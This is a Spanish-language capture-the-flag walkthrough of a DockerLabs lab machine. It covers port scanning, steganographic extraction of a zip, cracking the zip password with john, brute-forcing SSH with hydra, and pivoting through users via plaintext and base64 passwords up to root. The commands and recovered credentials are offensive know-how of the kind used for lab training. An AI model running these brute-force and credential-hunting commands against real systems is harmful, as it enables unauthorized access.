Estamos ante un docker que contiene una distribución Linux. Es de nivel medio y es de la plataforma dockerlabs.
Enumeración
Ponemos el docker en marcha con el auto_deploy.sh
que trae el zip. Cuando termina de cargar nos indica la dirección IP de nuestra víctima, en nuestro caso es 172.17.0.2
.
Empezamos realizando un escaneo de puertos con nmap
. Hacemos un escaneo silencioso-sS
, a todos los puertos -p-
, que nos de detalles del escaneo -v
, que no haga ping al host -Pn
, que no haga resolución de DNS -n
a nuestra máquina victima 172.17.0.2
:
$ sudo nmap -sS -p- -v -Pn -n 172.17.0.2
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Como vemos sólo tiene abiertos los puertos 22
y 80
. Realizamos otro escaneo con nmap
para ver más detalles de esos puertos:
$ sudo nmap -sCV -v -p22,80 172.17.0.2
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 1b:16:59:41:d2:f1:d4:cf:20:cc:ad:e0:f8:8c:ed:a2 (ECDSA)
|_ 256 72:9b:5b:79:74:e8:18:d6:0b:31:2e:99:00:01:b5:34 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
Lo único relevante es que usa una versión reciente de Apache
y que nos muestra una web por defecto.
Comprobamos con whatweb
:
$ whatweb -a 3 -v http://172.17.0.2
WhatWeb report for http://172.17.0.2
Status : 200 OK
Title : Apache2 Ubuntu Default Page: It works
IP : 172.17.0.2
Country : RESERVED, ZZ
Summary : Apache[2.4.58], HTTPServer[Ubuntu Linux][Apache/2.4.58 (Ubuntu)]
Detected Plugins:
[ Apache ]
The Apache HTTP Server Project is an effort to develop and
maintain an open-source HTTP server for modern operating
systems including UNIX and Windows NT. The goal of this
project is to provide a secure, efficient and extensible
server that provides HTTP services in sync with the current
HTTP standards.
Version : 2.4.58 (from HTTP Server Header)
Google Dorks: (3)
Website : http://httpd.apache.org/
[ HTTPServer ]
HTTP server header string. This plugin also attempts to
identify the operating system from the server header.
OS : Ubuntu Linux
String : Apache/2.4.58 (Ubuntu) (from server string)
HTTP Headers:
HTTP/1.1 200 OK
Date: Fri, 21 Jun 2024 22:24:25 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Sun, 16 Jun 2024 22:12:40 GMT
ETag: "29ed-61b09259d8600-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 3155
Connection: close
Content-Type: text/html
Vamos a hacer una búsqueda de directorios y ficheros con feroxbuster
. Le indicamos con -u
la url, con -w
el diccionario a usar para la búsqueda, -x
para indicarle qué extensión buscar en los ficheros y -r
para seguir los redirecciones:
$ feroxbuster -u http://172.17.0.2 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php,html,txt -r
200 GET 939l 2384w 25537c http://172.17.0.2/spongebob/spongebob.html
200 GET 838l 2290w 19747c http://172.17.0.2/spongebob/style.css
200 GET 470l 2274w 217762c http://172.17.0.2/spongebob/upload/ohnorecallwin.jpg
200 GET 365l 968w 10733c http://172.17.0.2/index.html
200 GET 22l 105w 5952c http://172.17.0.2/icons/ubuntu-logo.png
200 GET 365l 968w 10733c http://172.17.0.2/405 GET 1l 3w 20c http://172.17.0.2/scripts/put.php
200 GET 17l 71w 1130c http://172.17.0.2/scripts/
200 GET 18l 80w 1341c http://172.17.0.2/spongebob/
200 GET 15l 49w 739c http://172.17.0.2/revolt/
Me llama la atención el fichero /scripts/put.php
. Hacemos un curl
al fichero y nos dice que el metodo no está permitido
$ curl http://172.17.0.2/scripts/put.php
Método no permitido
Probamos el metodo PUT
y siempre nos devuelve la misma cadena spongebob
$ curl -X PUT http://172.17.0.2/scripts/put.php -v
* Trying 172.17.0.2:80...
* Connected to 172.17.0.2 (172.17.0.2) port 80
> PUT /scripts/put.php HTTP/1.1
> Host: 172.17.0.2
> User-Agent: curl/8.8.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Fri, 21 Jun 2024 22:48:04 GMT
< Server: Apache/2.4.58 (Ubuntu)
< Content-Length: 10
< Content-Type: text/html; charset=UTF-8
<
spongebob
* Connection #0 to host 172.17.0.2 left intact
Descartamos esa via. Ahora nos descargamos la imagen que hay en /spongebob/upload/
$ wget http://172.17.0.2/spongebob/upload/ohnorecallwin.jpg
Buscamos si hay algún fichero oculto en esa imagen (esteganografía) con stegseek
:
$ stegseek ohnorecallwin.jpg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Found passphrase: "spongebob"
[i] Original filename: "seguro.zip".
[i] Extracting to "ohnorecallwin.jpg.out".
Comprobamos si es un fichero zip:
$ file ohnorecallwin.jpg.out
ohnorecallwin.jpg.out: Zip archive data, at least v1.0 to extract, compression method=store
Y lo remombramos:
mv ohnorecallwin.jpg.out seguro.zip
Intentamos descomprimirlo y nos pide una clave. Vamos a intentar averiguarla con john
. Primero guardamos el hash del fichero zip con zip2john
:
$ zip2john seguro.zip > zipHash
ver 1.0 efh 5455 efh 7875 seguro.zip/secreto.txt PKZIP Encr: 2b chk, TS_chk, cmplen=23, decmplen=11, crc=3DF4DA21 ts=8387 cs=8387 type=0
Después intentamos crackear la password usando el diccionario rockyou.txt
:
$ john --wordlist=/usr/share/wordlists/rockyou.txt zipHash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
chocolate (seguro.zip/secreto.txt)
1g 0:00:00:00 DONE (2024-06-22 12:31) 100.0g/s 409600p/s 409600c/s 409600C/s 123456..oooooo
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Descomprimimos con la clavé obtenida:
$ 7z x secreto.zip
7-Zip 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
64-bit locale=C.UTF-8 Threads:2 OPEN_MAX:1024
Scanning the drive for archives:
1 file, 211 bytes (1 KiB)
Extracting archive: secreto.zip
--
Path = secreto.zip
Type = zip
Physical Size = 211
Enter password (will not be echoed):
Everything is Ok
Size: 11
Compressed: 211
Y al abrir el fichero vemos una palabra
$ cat secreto.txt
aprendemos
Intrusión
La palabra puede ser un usuario o una contraseña. Primero hacemos un intento de averiguar una contraseña para el usuario aprendemos. Para ello usamos hydra
con -l
indicamos el usuario, -P
indicamos el diccionario de passwords -V
para ver el detalle, -I
para que no tenga en cuenta sesiones anteriores y -f
para parar con la primera coincidencia. Tambien le indicamos el protocolo al que queremos realizar la fuerza bruta ssh://172.17.0.2
$ hydra -l aprendemos -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2 -V -I -f
No obtenemos ningún resultado. Ahora vamos a probar a buscar un nombre de usuario para contraseña aprendemos. Con -L
indicamos el diccionario de nombres de usuario y con -p
la password. El resto es igual que el paso anterior.
hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames-dup.txt -p aprendemos -t 16 -V -f -I ssh://172.17.0.2
6248 of 624377 [child 9] (0/7)
[22][ssh] host: 172.17.0.2 login: rosa password: aprendemos
[STATUS] attack finished for 172.17.0.2 (valid pair found)
Obtenemos las credenciales rosa:aprendemos
para poder acceder por ssh a nuestra victima. Nos conectamos:
ssh rosa@172.17.0.2
rosa@4c6b113dd021:~$ hostname
4c6b113dd021
Buscamos que usuarios hay en el sistema.
rosa@4c6b113dd021:/home$ grep "bash" /etc/passwd
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
rosa:x:1001:1001:,,,:/home/rosa:/bin/bash
pedro:x:1002:1002:,,,:/home/pedro:/bin/bash
juan:x:1003:1003:,,,:/home/juan:/bin/bash
Lo primero que voy a hacer es buscar ficheros de cada usuario en el sistema. Usamos find
para buscar en el directorio /
de forma recursiva los ficheros -type f
del usuario pedro -user pedro
y redireccionamos a /dev/null
los errores 2>/dev/null
rosa@4c6b113dd021:/home$ find / -user pedro -type f 2>/dev/null
/var/mail/.pass_juan
Encontramos un fichero, pero…
rosa@4c6b113dd021:/home$ ls -l /var/mail/.pass_juan
-rw-rw---- 1 pedro pedro 17 Jun 18 03:41 /var/mail/.pass_juan
No tenemos permisos de lectura con el user actual.
En el home del user actual, rosa, vemos que hay una carpeta llamada -
rosa@4c6b113dd021:~$ ls -l
total 4
drwxrwxr-x 69 rosa rosa 4096 Jun 17 08:25 -
Para entrar al directorio -
hacemos cd ./-
. Una vez dentro vemos:
rosa@4c6b113dd021:~/-$ ls
buscaelpass1 buscaelpass25 buscaelpass40 buscaelpass56
buscaelpass10 buscaelpass26 buscaelpass41 buscaelpass57
buscaelpass11 buscaelpass27 buscaelpass42 buscaelpass58
buscaelpass12 buscaelpass28 buscaelpass43 buscaelpass59
buscaelpass13 buscaelpass29 buscaelpass44 buscaelpass6
buscaelpass14 buscaelpass3 buscaelpass45 buscaelpass60
buscaelpass15 buscaelpass30 buscaelpass46 buscaelpass61
buscaelpass16 buscaelpass31 buscaelpass47 buscaelpass62
buscaelpass17 buscaelpass32 buscaelpass48 buscaelpass63
buscaelpass18 buscaelpass33 buscaelpass49 buscaelpass64
buscaelpass19 buscaelpass34 buscaelpass5 buscaelpass65
buscaelpass2 buscaelpass35 buscaelpass50 buscaelpass66
buscaelpass20 buscaelpass36 buscaelpass51 buscaelpass67
buscaelpass21 buscaelpass37 buscaelpass52 buscaelpass7
buscaelpass22 buscaelpass38 buscaelpass53 buscaelpass8
buscaelpass23 buscaelpass39 buscaelpass54 buscaelpass9
buscaelpass24 buscaelpass4 buscaelpass55 creararch.sh
Bastantes carpetas y un fichero en bash. Lo abrimos y vemos que hace:
rosa@4c6b113dd021:~/-$ cat creararch.sh
#!/bin/bash
# Buscamos directorios que empiezan con "busca"
for directorio in busca*; do
# Comprobamos si el directorio existe
if [ -d "$directorio" ]; then
# Crearmos 50 archivos y les metemos el contenido xx
for i in {1..50}; do
touch "$directorio/archivo$i" && echo "xxxxxx:xxxxxx" >$directorio/archivo$i
done
echo "Se crearon 50 archivos en $directorio"
else
echo "El directorio $directorio no existe"
fi
done
Recorre todos los directorios que comienzan con busca y crea 50 archivos con un texto dentro touch "$directorio/archivo$i" && echo "xxxxxx:xxxxxx" >$directorio/archivo$i
. Entonces buscaremos el fichero que no contenga esa cadena. Usamos grep
con las opciones-rv
que sirve para buscar recursivamente por los subdirectorios r
y excluyendo v
la cadena xxxxxx:xxxxxx
empezando en el directorio actual.
rosa@4c6b113dd021:~/-$ grep -rv "xxxxxx:xxxxxx" .
./buscaelpass33/archivo21:pedro:ell0c0
./creararch.sh:#!/bin/bash
./creararch.sh:
./creararch.sh:# Buscamos directorios que empiezan con "busca"
./creararch.sh:for directorio in busca*; do
./creararch.sh: # Comprobamos si el directorio existe
./creararch.sh: if [ -d "$directorio" ]; then
./creararch.sh: # Crearmos 50 archivos y les metemos el contenido xx
./creararch.sh: for i in {1..50}; do
./creararch.sh: done
./creararch.sh: echo "Se crearon 50 archivos en $directorio"
./creararch.sh: else
./creararch.sh: echo "El directorio $directorio no existe"
./creararch.sh: fi
./creararch.sh:done
Encontramos la password de pedro. Nos logueamos como pedro:
rosa@4c6b113dd021:~/-$ su pedro
Password:
pedro@4c6b113dd021:/home/rosa/-$
Y como antes habíamos encontrado un fichero que pertenecía a pedro lo abrimos:
pedro@4c6b113dd021:~$ cat /var/mail/.pass_juan
ZWxwcmVzaW9uZXMK
Nos logueamos como juan:
pedro@4c6b113dd021:~$ su juan
Password:
juan@4c6b113dd021:/home/pedro$ cd ~
juan@4c6b113dd021:~$
Hacemos un listado a su home:
juan@4c6b113dd021:~$ ls -la
total 32
drwxr-x--- 3 juan juan 4096 Jun 17 09:02 .
drwxr-xr-x 1 root root 4096 Jun 17 08:22 ..
-rw-r--r-- 1 juan juan 220 Jun 17 08:22 .bash_logout
-rw-r--r-- 1 juan juan 3791 Jun 17 08:42 .bashrc
drwxrwxr-x 3 juan juan 4096 Jun 17 08:41 .local
-rw-rw-r-- 1 juan juan 112 Jun 17 08:45 .ordenes_nuevas
-rw-r--r-- 1 juan juan 807 Jun 17 08:22 .profile
Vemos el fichero.ordenes_nuevas
, lo abrimos:
juan@4c6b113dd021:~$ cat .ordenes_nuevas
Hola soy tu patron y me canse y me fui a casa te dejo mi pass en un lugar a mano consiguelo y acaba el trabajo.
Escalada de privilegios
Buscanos dentro del fichero.bashrc
y encontramos la password del patrón:
juan@4c6b113dd021:~$ cat .bashrc
alias pass='eljefe'
Nos logueamos como root y finalizamos la máquina:
juan@4c6b113dd021:~$ su
Password:
root@4c6b113dd021:/home/juan# cd ~
root@4c6b113dd021:~#